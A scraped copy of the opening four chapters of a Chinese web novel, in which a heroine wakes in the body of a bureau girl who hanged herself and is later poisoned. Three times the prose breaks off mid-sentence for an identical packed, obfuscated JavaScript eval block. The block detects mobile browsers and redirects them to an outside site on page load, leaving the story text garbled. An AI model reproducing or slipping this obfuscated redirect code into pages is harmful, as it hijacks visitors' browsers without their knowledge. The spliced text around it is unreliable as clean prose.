《女侠她占山为王》 1. 第1章 “……真死了?” “看着像是断了气……” “刚放下时就没气了。” “孙女医来了,快让她看看!” 紧接着就是一阵急促的脚步声靠了过来。 燕惜妤意识恢复的时候,耳边充斥着的就是这些杂乱的声音。 怎么回事?好像有人在我的身边! 燕惜妤猛地睁开眼睛,整个人瞬间原地弹了起来! 但她没能弹起来,她的身体甚至无法移动,只有四肢像是抽搐似地抖了好几下。 “啊?!又活了?!” “鬼上身?!!” 连连的惊叫声之中,还夹带着一阵衣服被撕裂的声音。 燕惜妤挣扎着侧过头来,睁开眼睛就看见了一个女人被撕裂了腹部的衣裳,正巧露出了肚脐以下的部位。 被撕了衣裳的孙珍娘一瞬间变了脸色,她顾不得其他,双手快速地拢紧了被撕裂的衣裳。 她的脸色惨白,其他人的脸色比她好不了多少。 刚才被吓得因为控制不住了手脚的力道,从而撕裂了她衣裳的崔太监这时还缩在她的身后。 “孙女医,你看她这是……”年纪大的崔太监是几人之中被吓得最惊慌的,他双手还紧紧抓着孙珍娘的手臂。 孙珍娘看了他一眼,又扫了一下屋里的其他人,个个都被吓得惊魂未定,这时挤成一团缩在角落里,连大气都不敢喘。 所有人的注意力都没有放在她身上,所有人都盯着躺在床上的人。 孙珍娘抽了抽手肘,避开了崔太监的手:“崔掌事,你这样抓着我,我又怎么能去看卉童。” “欸,”崔掌事这才缩回手,还把孙珍娘往床边推了推,“那你快过去看看卉童。” 孙珍娘走到床边,低头看着床上侧头还睁大着眼睛的人,看了好一会儿,这才一手拢紧着腹部的衣裳,一手去探对方的手腕。 她皱着眉诊脉,松开后,又去探对方另一只手腕,紧接着伸手去探鼻息。 床上躺着的人,瘫着手脚,胸膛不见起伏,已然气绝,眼睛却还睁着,这是死不瞑目。 孙珍娘收回手,淡然对崔掌事说:“卉童是掌事买来的人,也就不用禀明大人了。” 教坊司里大多都是充遣为奴的罪臣女眷,是属于宫廷的乐户,人若死了需要禀报上去。 “哎!”崔掌事知道人死了,倒是不害怕了,却像是悔不当初地一拍大腿嚎道,“个蠢货死……” 他这突兀而刺耳的一声嚷,又把燕惜妤吵醒了。 上一息还躺在床上的人,这一息忽地就扑了过来,瞪着眼睛披着乱发,就像是被厉鬼上了身般! 崔掌事那声骂还卡在嗓子里,人已和其他人一起连滚带爬逃出了门去。 孙珍娘也跟着跑,她跑的时候始终没有松开拢紧着衣裳的手。 几人跑到院中的鱼池边,见了头顶上的日头,这才敢停下脚步。 年纪最小的春苗胆子最大,她回头走了几步,然后一捂嘴:“卉童姐姐又倒下了!” 其他人听了,站定没动,却又忍不住伸长脖子去看屋里的情况。 “这回该是真死了吧?” “该是死透了!哪能死了又活,活了又死的?!” “难不成真是鬼上身?!!” 她们不怕死人,在这教坊司里,有哪天不死人的。可是像这样死了又活、活了又死的人,她们却是头次见到。 崔掌事心惊肉跳地又去推孙珍娘:“孙珍娘,你是菩萨座下的女僧,你快去看看!” 身穿僧袍头戴僧帽的孙珍娘看了他一眼,抬脚走了回去,她的小徒双手抱着药匣跟在身后。 屋里的桌边趴着一个人,旁边还倒了一张圆墩凳。 小徒站在门边不敢再往里走了。 她自小被爹娘丢在庵堂外,庵堂的女僧将她养大,后来跟着师父学了医术。看着师父医治了很多人,却从来没见过这种死了又活、活了又死的人。 她怕啊!! 孙珍娘自己走了进来,地上的人还趴着,侧脸贴着地面,瞪大着眼睛。 孙珍娘屈膝弯腰诊脉,又探了鼻息,这次还右手食指中指并拢,探向了对方颈间的人迎脉。 随后,她缓缓收手站了起来。 地上的人睁着眼,有几缕散乱的头发就在唇上,可这人已经死了,离鼻尖不到半个指节的头发纹丝不动。 终究是死不瞑目。 孙珍娘冷眼看着倒在地上的人,刚想转身,耳边忽然听见了一道怪异的喘气声。她僵硬着身体缓缓低下头,之前还死不瞑目的人,这会闭着眼睛,竟是又活了! 孙珍娘盯着对方那几缕被气息吹动的头发,也不知道想到了什么,突然转身大步走了出去。 小徒也慌忙跟着跑,边跑边回头看了看。这人还倒地上,若平日该是先将人扶起来的……可今儿实在是不敢扶,她怕啊! 小徒假装没看见掉头就跑。 其他人还站在小院子里,见她们出来,连忙都围了过来。 崔掌事还急声问:“孙女医,卉童是不是真死了?”要是真死了,他这么多年的心血不就白费了?!不行,不能就这么眼看着到手的银钱都飞了,他得再想个法子才行。 “她还活着,”孙珍娘拧着眉说,“我未曾见过如此怪异的病症,待我回去翻阅我师父留下的医册,看看能不能找到类似的病状。” 她这话一出口,原本放下心的人顿时又紧张了起来。 “又、又活了?!!” “难不成真是鬼上身?!” “……这天光白日的,哪有鬼敢出来。” “孙女医刚才说了,她这是病了。” “孙女医回去翻医册了,说不定会找到诊治的法子。” “那卉童日后该如何?” “……要是此前让她叫曾公子赎走,说不定她就不会上吊了,”有人忽然说,“她这个样子,哪还能再上得宴乐。”各种宴乐都是供圣上及众王爷大臣们赏看的,若有人像这样忽然倒下,那教坊司的人可就要倒大霉了。 听她这样说,其他人齐刷刷看向了崔掌事。 崔掌事显然也很后悔,他恨恨地剜了房门的方向一眼,然后掉头走了。 剩下的几人,互相看了看,也进了各自的屋子,小小的院落瞬间就安静了下来,没有敢回去再看一眼倒在地上的人。 燕惜妤睁开眼睛的时候,看见的是从没见过的地砖。 “……啊!!”她一张口,嗓子就是一阵剧痛。 这一痛,把她痛的浑身一颤,身体在刹那间终于是听她使唤了。 下一息,她整个人倏地就立在了门口,眼神犀利地向外面扫了一圈。 陌生的地方。 再低头看看身上的衣着,又抬了抬手,踢了踢脚,还张开双手握了握拳,陌生的衣着,陌生的身体。 燕惜妤看了看小院中的那鱼池,抬脚走了过去。 鱼池不大,但水有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282608|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点深,里面游着几尾小鱼。 燕惜妤蹲在池边看向池水,水中有着她的倒影,是她自己原来的样貌。 但这个人不是她。 到底是怎么回事?她的天赋就算再强大,也做不到灵魂出窍啊。 燕惜妤有点茫然地站了起来。 背后的木房门忽然发出了“吱呀”的声音,有人向她走了过来。 “卉童,别再寻死了,”芳娘到底是不放心,在窗前看见人站在池边,连忙出来劝说,“定会有人再赎你出去的,你且再等等吧。” 赎我出去?赎?卉童又是谁? 燕惜妤缓缓地转过了身。 芳娘看她神情平静,眼内也无悲伤,以为她是哀莫大于心死,一时联想到她自己身上,倒是先红了眼眶。 燕惜妤张张嘴:“我……”嗓音难听的就像有人在刨木。 声音难听就算了,嗓子它还痛。 芳娘被她这嗓音给惊呆了:“卉童你这……嗐,就说你不要上吊,这下好了吧,毁了你那好嗓子,也不知还能不能再唱曲儿。” 曲儿?歌曲?那我不会唱。 燕惜妤摇摇头。 芳娘看她这不慌不忙的样子,却是先替她着急上了:“你说你,此前一心只想着攒钱出去,未有好好学过吹弹,眼下嗓子还哑了,你……你心中可有别的打算?” 我不知道啊,我才刚来,人生地不熟的。 燕惜妤又摇了摇头。 芳娘看她这样,也泄了气:“罢了,我们就一起登花楼,再一起挂牌子吧。” 燕惜妤安静地听着,试图从对方的话里找出有用的信息。 芳娘继续喃喃道:“先前崔掌事暗中让那媎莲顶了你的名字被曾公子赎走,就是看中了你这一张脸不许你走,他眼红宜掌事买来的涓奴,也想让你成为像涓奴那般,男人为亲其芳泽而掷千金的头牌,好叫他也能在几位大人面前长脸。” 燕惜妤缓缓瞪大了眼睛。 别的暂时不知道是什么意思,但头牌她听懂了。 燕惜妤张嘴从嗓子里挤出两个字:“……头牌?” 芳娘沉默着点点头。 就在这时,有人走进了小院落。 芳娘望了过去,燕惜妤也侧头,然后怔了一下。 进来的人头上戴着一顶帷帽,帽子外的那圈帷纱竟垂在膝下。 芳娘倒是见怪不怪地开口:“念鸯回来了?” 念鸯的反应有点慢,又向前走了两步,才抬手掀开挡在身前的帷纱:“嗯。” 燕惜妤看见她的脸上还蒙着面纱,只露出一双眼睛。 念鸯从她们身边走过后,芳娘回过头来,见她还将视线留在念鸯的背影上,无奈叹了口气。 “坊里有规定,女子及笄后外出都要蒙面纱,只有在登花楼的那天才能摘下,如若不是这样,崔掌事又怎能让媎莲抢走原想替你赎身的曾公子。” 燕惜妤垂着眼不说话。 芳娘见她这样,又替她难过:“媎莲的声音和你相似,再说我们宴乐时都是在帷幕后,脸上又还蒙着面纱,曾公子认错了人也不能怪他。” 这时身旁却忽然传来一声嗤笑。 俩人回头看去,是一个穿着绣金纹抹胸长裙的姑娘,双手臂还缠着一条长长的嫩黃色披帛,走起路来摇曳生姿。 来人瞥了芳娘一眼,然后走过来说:“曾公子花了三千两银子赎错了人,那是他活该,至于卉童你,想离开就只剩下登花楼的这次机会了。” 2. 第2章 芳娘却是不认同地看着吉荷:“教坊里的姑娘一旦登了花楼,名字就要被刻在牌子上,到时哪还有人能被赎走?” 登上花楼的女子,如同被标了价的货物,除非老了死了,否则永远不能下花楼。 吉荷又是一声嗤笑:“我们早前刚被画师画了像,头次登花楼的那天,都是画像先挂上去供人赏看,如果有富家公子看中卉童的画像,那她就有机会被赎走。” “可是……”芳娘觉得这种机会很渺茫,但她看了看身边一直没出声的人,也只得跟着点头,“倒还是有这种可能的。” 吉荷又是一声嗤笑,笑声中更多的却是无奈:“她们这些被买来的,总好过你我这些被充遣为奴的乐户,除非皇上将我们赏赐给人为婢,否则我们到死都离不开这教坊司。” 她们这些因家人获罪而被贬为奴的女眷,连寻死的资格都不能有。 当初心怀侥幸以为只会削职为民,所以没有自尽,等被贬为奴时,却是不能再寻死了。 家人血亲无论是充军还是为奴,都在挣扎着艰难地活着,无人敢寻死,也无人敢逃跑,皆因若是少了一人,所有人都得一起死! 若是这时才想着死和逃,还不如当初被灭族。可现在既然还活着,总有人是不想死的。 她是不想活了,但她不能因为她一人,从而连累了家族其他还挣扎着想活下去的亲人。 芳娘不说话了,吉荷也不再开口。 燕惜妤和她们俩对面站着,也没有出声。 这时“吱呀”一声,同住一屋的婧珠和春苗开门走了出来。 她俩不过十一、二岁,却在这教坊司里生活了好几年。 春苗看见吉荷时眼睛都亮了:“吉荷姐姐这身真好看!” 吉荷笑着旋了旋身体,春苗“哇哇”地对旁边的婧珠说:“婧珠,等我及笄了,我也要穿这样的一身。” 婧珠却板着脸说:“我才不穿,我兄长定会在边地建功立业,待我兄长有了军功,圣上就会赦免我们家!” 教坊司里的女子,大多数心里都有着这样的奢望。 那些被抄家被降罪的大臣,其实都有女子嫁给了大富大贵的家族,金银财宝自然是有的,出钱救人是易事。但帝皇一旦发怒,臣民哪怕有再多的钱财,都无法为其姻亲赎人。 不过唯有一条,那就是获罪之人及其家人可以戴罪立功,将功抵罪。 这是教坊司里的乐户、发配充军的军户,还有被贬为奴的奴籍之人唯有的出路了。 燕惜妤听到现在,总算是听出了她自己的处境。 嘶! 现在该怎么办? 逃吧! 燕惜妤刚抬起脚,却又顿住了。 往哪逃? 她连自己这时在什么地方都还不知道,东西南北都分不清。 ……那就再等等。 又是“吱呀”一声,这小院落里住着的最后一人也开门走了出来。 念鸯像是没看见这边站在一起的几人,低着头走了出去。 婧珠看看她,也跟着走了。 剩下的芳娘几人,也沉默地转身。 燕惜妤觉得她不能露馅,于是也跟着抬脚。 不过吉荷却阻止了她:“你别去了,就算去了,也会被崔掌事赶回来的。”她们是去练习歌舞,教授她们的人都是朝廷官员请来的老师,而崔掌事这些只是在教坊司里做事的掌事,可不敢被官员们发现她们中有人死了又活、活了又死。 她话音刚落,崔掌事还真就过来了。 他气恨地瞪了这边一眼,愤愤地说:“吉荷你还傻站着做甚,韶舞和司乐几位大人和老师都在等着了。” 明明是俩个人站在一起,但他只点名吉荷,另一个人被当成了透明。 燕惜妤看着吉荷离开,又去看还站在原地的崔掌事。 崔掌事现在一看见她就恼:“个贱蹄子,还站着做甚,滚回屋里待着等孙珍娘拿药来救你。” 燕惜妤很听话地转身往回走。 崔掌事盯着她的背影,恨得牙痒痒。 他凭借着自己妹妹曾当过左司乐大人的奶娘,得来了这教坊司的好差事,虽然只是掌事,不过因为他有左司乐大人当靠山,又大胆地自己买了小丫头,原想靠着这些买来的小丫头日后登花楼能赚银子。 虽然赚来的银子要分一部分给教坊司,但剩下的银钱也足够他挥霍后半生的了。 当初千挑万选看中的这丫头,眼看着就能登花楼赚钱了,他自然不能让人在这节骨眼上把人给赎走。 却没想到这死丫头还是个脾气左强的,见曾公子赎走别人觉得没了希望之后,竟然敢寻死。 崔掌事想到这,再想到之前这人死了又活、活了又死……如果真死了不再活过来,倒是可以找鬼媒人将她的尸身卖给富人家配阴婚,就是死人配阴婚卖不了几个钱,活人登花楼挂牌子每天才能有数不清的银子。 崔掌事转着眼珠子走了。 燕惜妤站在门前,回头看了眼崔掌事的背影,这才进了屋。 这屋子也不大,挂着帐子的床,床头边叠着一大一小两个上了锁的木箱,木箱旁是放着木盆的面盆木架,架上还挂着好几顶帷帽。 床尾的角落立着三折雕花木屏风,屋子中间一张四方八仙桌,桌上摆着一套瓷茶具,旁边还有一个小木盒和一盏油灯,地上有四个圆墩凳。 一眼就能看清的屋子,燕惜妤抬头看向房梁。那叫卉童的姑娘,就是吊死在这根房梁上。 她一心想离开这个地方,但因为希望破灭,最后选择了死亡。 燕惜妤抿了抿嘴唇,如果她没在对方的身体里清醒,也不知道那叫卉童的姑娘,会不会再次活过来。 仰着头的燕惜妤忽然晃了一下,她伸出手撑在桌面想稳住身体,结果人“咚”一声就倒下了。 等芳娘她们回来的时候,看见的又是倒在地上的人。 “……卉童这是又死了?”芳娘踌躇着不敢踏进房门,念鸯一声不吭地先回了她自己住的屋子。 吉荷冲着屋里喊了两声,没能把人喊醒。 婧珠忍不住问:“卉童姐姐这病还能治好吗?” 没人能回答她这个问题。 春苗双手还拎着个食盒,她担忧地说:“今日有卉童姐姐最喜欢吃的烙羊肉,凉了就不好吃了。” 燕惜妤睁开眼的时候,听见的就是“羊肉”两个字。 “啊!醒了!”春苗惊呼出声。 燕惜妤站了起来,还伸手拍了拍身上的尘土。 吉荷一脚踏了进来:“卉童,你觉得怎么样?” “我……”燕惜妤张嘴想说话,但她忘了自己嗓子疼,“……怎……么……了?” 吉荷拧着眉听完她说话,又凑近看她脖子上那吊出来的勒痕:“你这脖子肿得都变紫色了,孙女医怎地也不留些药膏给你。” 芳娘这时也走了过来:“孙女医许是也被卉童这活了又死,死了又活的怪病给吓到了,这才忘了留药膏。” 燕惜妤疑惑地看着她:“我……死了……又活?” “你自己不知道?”芳娘和吉荷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282609|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对视了一眼,然后猜测着说,“也是,你人都死了,又怎么会知道呢,你今日已经死了四次了。” 燕惜妤听她这么说,抬手摸了摸自己脖子上肿痛的勒痕。 那叫卉童的姑娘是真的死了,可能是因为她还未能完全掌控这具身体,所以才会出现她死了又活,活了又死的情况。 如果卉童还活着,在她意识消失的时候,对方就该从身体里醒过来,可对方却没有出现,所以她才会再次掌控这具身体。 卉童是真的对这个世界感到绝望,所以才会放弃了一次又一次能活过来的机会,才会让她一次又一次地从这具身体里醒过来。 是崔掌事把卉童逼上了绝路。 燕惜妤微微低头垂着眼,表情变得冷漠。 春苗这时拎着食盒走了进来:“卉童姐姐,我给你带了饭食。” 燕惜妤抬头看她,笑笑说:“谢……” “哎你快别讲话了,”吉荷打断她,愁道,“你这嗓子也不知道还能不能好?”再一想人都吊死了,脖子没扯断都算是好的了。 教坊司里除了官员和花楼里的花娘吃的好些,其他人的吃食都差不多。 食盒里放着碗烙羊肉,一小碟青菜,和一碗糜粥。 春苗殷勤地帮着递筷子:“卉童姐姐,本来还有两个油饼,我见你嗓子不舒服……” 吉荷在旁边笑着接话:“她就自己吃了,个馋嘴丫头,不过她也算有心了,大厨房的是干饭,她特地去小厨家要来的糜粥。” 春苗嘻嘻地笑着。 燕惜妤笑着夹了几块烙羊肉放到菜上,然后把装烙羊肉的碗放在春苗的面前:“你……吃。” 春苗立即双眼发亮地盯着那碗烙羊肉,又偷偷看吉荷。 吉荷无奈地说:“端去屋里和婧珠一起吃。” 等春苗端着碗出去后,吉荷又说:“你先吃着,吃完了我们一起去澡房。” 燕惜妤对她点头。 吃了饭,燕惜妤想到吉荷说要去澡房,又想到自己之前几次在地上醒来,于是去找换洗的衣服。 一眼就能看清的屋子,衣服应该是放在床头边那两个一大一小的木箱里,但箱上有锁。 燕惜妤掀开了挂在床上的床帐,床上铺着小纺褥子,床头有个竹编枕,枕边有个旧的小钱袋和手掌般大小的漆奁,床尾则叠着一床绸被。 燕惜妤对着床站了一会,然后伸手拿起了那个两边有圆洞的竹编枕头,轻轻一摇,枕头里面有声音,又摇了摇,从里面掉落出四枚大小不一的用红绳系着的铜钥匙。 用钥匙打开第一个木箱的铜锁,里面放着的是衫裙,最上面还有两套白色的寝衣。 燕惜妤顺手拿了两套衣服出来,然后把木箱盖又锁好。 弯腰搬走这个木箱,又去开下面的大木箱。 大木箱最上面摆着两个不大的带锁木盒,下面则是已经包裹好的各种衣物。 带锁的木盒被燕惜妤打开,里面放着很多吊用绳子串好的铜钱,铜钱下面还有好些碎银子和银叶子。 另一个木盒放着的是珠簪银钗,耳坠和手镯,两根玉笄,和一个拳头般大小的用粗布缝制的像布偶的香囊。 燕惜妤拿起香囊看了看,发现香囊有点湿,可放在木盒里的又怎么会湿? 看看大木箱已经包裹好的衣物,又抬头看看吊死了卉童的房梁。 燕惜妤脑海中闪过一个拿着这个香囊哭了半天,最后将白绫抛向房梁的身影。 “别……哭,”燕惜妤轻轻捏了捏香囊,“我会为你……报仇的。” 3. 第3章 前一晚跟着吉荷她们去过澡房,今天又跟着她们去了膳堂。 早食吃的是面片汤,一人一碗。 燕惜妤脖子又肿又痛,吃得最慢。 吉荷坐在她旁边,看看她奇怪的头发,又看了看她身上的衫裙。 “你今日怎的穿了这个颜色的褙子?”又去瞟她的头发,“怎的头发只扎了布巾?” 因为我只会绑头巾。 燕惜妤看看对方那复杂的发髻,放下手里的勺子说:“我……脖子……痛。” 就这么一个理由,立即让吉荷她们露出同情的眼神。 “你脖子痛就别到处走,吃了就回屋躺着吧,”芳娘忧心地说,“也不知道孙女医能不能找到治好你那怪病的法子。” 燕惜妤知道她这不是病,只是因为她暂时还不能和身体完全融为一体,还需要时间来适应。 不过也刚好可以趁这个机会去外面走走,她得先搞清楚自己身处的到底是什么地方。 回屋拿钱的时候,在小院落的门口看见了念鸯。 对方戴着过膝的帷帽,从她身边匆匆走过。 燕惜妤拿了枕头边放着的那个小钱袋,里面放的全是铜钱。 接着她也有样学样,先是蒙了面纱,又戴了过腰的帷帽,然后开始在教坊司里溜达。 边走边记位置,最后是跟着一匹马拉着一架板车的后面走出了教坊司的后门。 外面的房屋和街道就像是走进了古建筑的感觉,路上的石砖不怎么平,墙角也长着不知名的野花野草。 但是很热闹,大人小孩都有。 也有人戴着帷帽,燕惜妤观察了一下,戴帷帽的都是未婚的年轻女子。 街边的小贩,除了挑担和背着箩筐,大多是推着木板车。 有时会看见驴车和牛马,但不多。 至于马车,那就更少了。 燕惜妤走走停停,发现有马车的人家非富即贵,基本是衙门和官员在使用。 她如果要逃跑,没有交通工具可不行。 不过由刚才看到的,无论是马是驴还是牛,好像都很贵,否则大街上不会这么少见。 燕惜妤也不知道那个木盒里的钱是多少两,如果全部加起来只够买一头驴,那她以后难道要喝西北风? 可只靠双脚又能逃到哪里去? 随便找个地方先躲起来? 前面忽然传来吵闹声,燕惜妤脚步一转,顺着声音走了过去。 只见俩个腰佩大刀的衙差正在一面墙上张贴着什么,周围已经站了一圈看热闹的百姓。 燕惜妤选了个角落安静地看着。 衙差贴好通缉令之后就离开了,围观的百姓呼啦一下全都凑近了细看。 有不识字的就让识字的人给念念,一时之间就热闹了起来。 “这是朝廷又出通令了,说是要捉这个叫做魏丁的凶犯。” “赏金三百两白银!” “嗬!这么多!” “看这人长得这副样子,估计害了不少人。” “说是淮扬人氏,这也太远了,会跑到我们仓州不?” “说不定会去封州。” “你傻啊,封州是天子脚下,哪个凶犯敢跑到皇城去,不是找死吗。” “那也不会来我们仓州啊,皇帝的行宫就在这地界呢!” “这倒也是,咱仓州不仅有行宫,还有教坊司呢,坊里花楼的那位涓奴花娘据说长得美若天仙!” “你说你这人,怎的就又说到花娘身上去了?” “这不是那什么嘛,花娘好看,达官贵人不就都爱过来看,衙门官老爷怕人在咱仓州出事,平日总叫衙差在大街上转悠,我就进城来买鸭崽,在城门口都被问了户籍还要查看路引,你就说那些个凶犯有哪个敢跑仓州来!” “照你这样说来,拿不出户籍和路引的人极有可能都是朝廷缉拿的凶犯啊,那他无论哪座城都进不去,因为他的路引和户籍一拿出来就会被捉,再说衙差们手里可都有着他们的画像呢,一露脸也会被捉,凶犯肯定是躲大山里了!” “那可不!你要知道,没有路引和户籍的人那都是卖了身的奴籍,那些奴籍的人平日都搁大户人家里待着呢,他们上街除了买点吃的戴的,就连去铁铺买把菜刀都买不到。” “嗐,我上次就是忘了带户籍,人都到铁铺门口了,愣是买不到一把镰刀。” “你家镰刀钝了?可以拿去给铁匠重新打一把新的。” “被偷了!” “你怎么这么不小心呢!” 燕惜妤越听越觉得她想逃跑是真的有点难。 首先她是被崔掌事买来的,卖身契在崔掌事手中,估计是没办法能从对方手中拿回卖身契了。 如果她就这样逃跑,在没有户籍和路引的情况下,再加上崔掌事为了让她登花楼,早就叫画师画好了她的画像,所以她在逃跑的途中,肯定是不能进到城里,除非她将守城的人全部灭口。 那就只剩下一路上风餐露宿住外面了,她以后难道真要独自躲在大山里? 哪怕吃的喝的大山里有,可她手里总得有把刀吧? 要不然逮到一只野鸡直接生啃吗? 耳边忽然听见了打铁声,燕惜妤顺着声音走过去,看见了一间铁铺。 门前挂着幌子,铺里铁匠光着膀子。 燕惜妤站在街对面看铁匠在打铁,发现进去的百姓就算是来补锅,都需要拿出户籍交给铁匠填写册子。 这规定防的不只是心有反叛之心的叛贼,也防止铁铺的人偷铁,换言之就是防止被有心人把铁偷去私造兵器。 没想到现在把她也防住了。 燕惜妤站了一会儿,刚想离开,却看见了一个有点熟悉的身影。 那人戴着过膝的帷帽走到铁铺旁边,正在打铁的铁匠看见她,连忙停下了手中的动作。 念鸯和铁匠认识? 燕惜妤看了一眼街对面的俩人,抬脚慢慢往回走。 回教坊司的路上,看见每家每户的大门口都挂着艾草和菖蒲。 应该是刚过了端午,那现在就是五月上旬。 五月仲夏,不像春季雨水那么频繁,不会连下十天半月的雨。不过天气会越来越热,这个时候不适合出远门。秋季才是最适合的,但她必须在她脖子上的勒痕消失前离开教坊司。 一路走回教坊司,刚进小院,就看见了芳娘,芳娘显然在等她。 “卉童?你出去了?你不怕倒在半道上吗?”芳娘有点着急地说,“孙女医来了,在你屋里等你呢,你下次别出去了。” 可是不出去我连往哪逃出教坊司的大门都不知道。 “没事,我要倒半道上……也是断了气的死人,死人没谁会碰,”燕惜妤忍着嗓子疼对芳娘说,“活人晕倒……在路上才有……危险。” 芳娘愣了一下,觉得她说得有道理:“也是,人都断气了,危不危险的也就无所谓了。” 燕惜妤对她笑笑,走回她住的屋。 孙珍娘在屋里坐着,她的小徒站在门外,见人回来了,有点慌乱地小跑着进了屋。 燕惜妤看了小徒一眼,走到孙珍娘对面坐下:“孙女医在等我?” 孙珍娘面无表情地坐着,从桌子上放着的药匣里拿出了一个小瓷瓶,然后倒出了一颗拇指般大小的药丸。 她将药丸递了过来:“吃了。” 燕惜妤伸手接了过来。 她看看手里的药丸,又去看孙珍娘,还扫了眼站在孙珍娘身后的小徒。 小徒正瞪大着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282610|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛偷瞟着她,见她看过来,立即慌张地低下了头,眼里的心怯藏都藏不住。 “这是……什么药?”燕惜妤慢吞吞地开口。 孙珍娘说:“崔掌事叫我给你治病。” 燕惜妤看了会手里的药丸,伸长手递回给孙珍娘:“孙女医,能请你……和崔掌事说我这病……过段时间……会自己好的,可以吗?” 孙珍娘冷漠地说:“除非你死,否则你没有选择。” 燕惜妤看着眼前的人,忽然笑了笑,说:“孙珍娘,你欠卉童一条命。” 孙珍娘冷眼看过来,燕惜妤却仍是笑着,一抬手,就把药丸放进了嘴里。 药丸吃在嘴里,除了苦,就没有别的味道了。 燕惜妤面不改色地嚼着药丸,孙珍娘冷眼看着她,站在孙珍娘身后的小徒眼神却是又惊又惧。 孙珍娘带着小徒走了,燕惜妤嘴里的药丸也嚼没了。 说是药,却辣嗓子,嗓子又辣又痛,燕惜妤连灌了两杯水,仍然还是满嘴的苦。 芳娘在门外看见,走过来问:“卉童,孙女医给你拿来了药?” “嗯,”燕惜妤点头,“吃了。” 芳娘又问:“吃了药好点了没有?” 燕惜妤抬手摸摸脖子,又摸摸肚子:“没感觉。” 芳娘安慰道:“那可能还要再等等才能起药效。” “嗯,”燕惜妤又点点头。 等呗,反正她也想知道那颗药丸到底会起到怎么样的药效。 这一等就等到了天黑。 燕惜妤坐在黑暗的屋里,看着外面院里的池子。 今天一整天她都没出现断气的情况,难道是因为她已经完全和这具身体融合在了一起?还是说孙珍娘那颗药丸起了作用? 燕惜妤暂时找不出原因。 夜越来越深,燕惜妤走到门口准备关门睡觉。 小院里的其它屋都黑乎乎静悄悄的,大家都睡了。 燕惜妤的手刚搭在门板上,忽然听见了“咚”的一声响,像是凳子倒在地上的声音。 燕惜妤关门的手一顿,看向了她右手边的那间屋子。 在那里住着的是念鸯,对面屋则住着春苗和婧珠俩人。 这夜深人静的时候,难道是起夜时不小心撞倒了凳子? 但恭桶在床尾的屏风后,凳子在屋子靠近房门的位置,要撞也该是撞到屏风才对。 人在什么情况才会撞倒那么重的一张圆墩凳? 燕惜妤不放心地走到念鸯住的屋前拍了拍门:“念鸯?” 没人应。 燕惜妤又用力推了推门,没推开,门在里面被闩着。 好在旁边的窗户是糊的油纸,燕惜妤用手指捅了两个窗纸洞,半眯着眼睛弯腰往屋里头瞧。 屋里头虽然黑漆漆的,透过月光仍能模糊地看见有个人正吊在房梁上! 燕惜妤心头一震! “念鸯!”她用力往外掰窗棂,但同样被从里面锁住了。 没办法了。 燕惜妤只能大跨步走回房门前,她将手虚放在门板上,然后轻轻向下一压,寂静的夜晚忽然响起了清晰的木板断裂的“咔嚓”声。 不过门还是推不开,她还没能和身体融为一体,暂时无法正常使用她原有的力量。 还需要再来一下,燕惜妤又抬起了手,结果这次手才刚抬起,一阵巨痛猛不丁地从腹部窜上了心口! 孙珍娘给的药丸偏偏在这个时候发作了! 这还不算,伴随着胸腹巨痛的同时,脑袋“嗡”的一声像炸开了似的,眼前一阵天旋地转。 “吉荷!”燕惜妤张嘴吼了一声,紧接着喉间忽然一阵痒,“噗”的一口鲜血喷了出来,随后整个人无声无息地倒在了地上! 4. 第4章 “蠢货,你以为吊死就事了?我告诉你,你死了我就卖了你的尸身去配阴婚,我一样能有三五百两银子!你现在去吊!快去吊!” 燕惜妤是在咒骂声中醒过来的。 一睁眼,就看见孙珍娘坐在她床边,看她醒了,对方收回正在给她诊脉的手。 小徒站在孙珍娘身后,神色紧张地看着燕惜妤。 燕惜妤看看她,又看看孙珍娘,然后看向门外。 崔掌事在念鸯的屋子骂了半天,又怒气冲冲地朝着这边来。 他人还没走进屋里,就已经开始张嘴骂人。 “孙珍娘!我让你救她,不是让你药死她!”崔掌事指着孙珍娘大骂,“昨儿个她还好好的,你一颗药丸喂下去,她连血都吐出来了!” 孙珍娘虽然被他指着鼻子骂,不过脸色却没什么改变,仍是冷冰冰的:“大罗神仙也做不到药到病除。” “你要救不了她,你就给我滚蛋!”崔掌事哪里管这些,他恶狠狠地骂,“当初帮荐你来教坊司的石厨娘早就被我赶走了,你是不是也想学她?” 孙珍娘坐着没再开口。 她不说话,崔掌事仍在继续骂她:“我就说你平日跟狐媚子似的,莫不是女医只是个幌子,背地里却和那些个妖僧淫尼般做些见不得人的勾当?” 他这话一出口,孙珍娘放在膝上的手倏地握紧了拳头,脸色也在瞬间变了,低垂的眼中闪过阴鸷,紧抿着嘴唇在忍耐着不吭声。 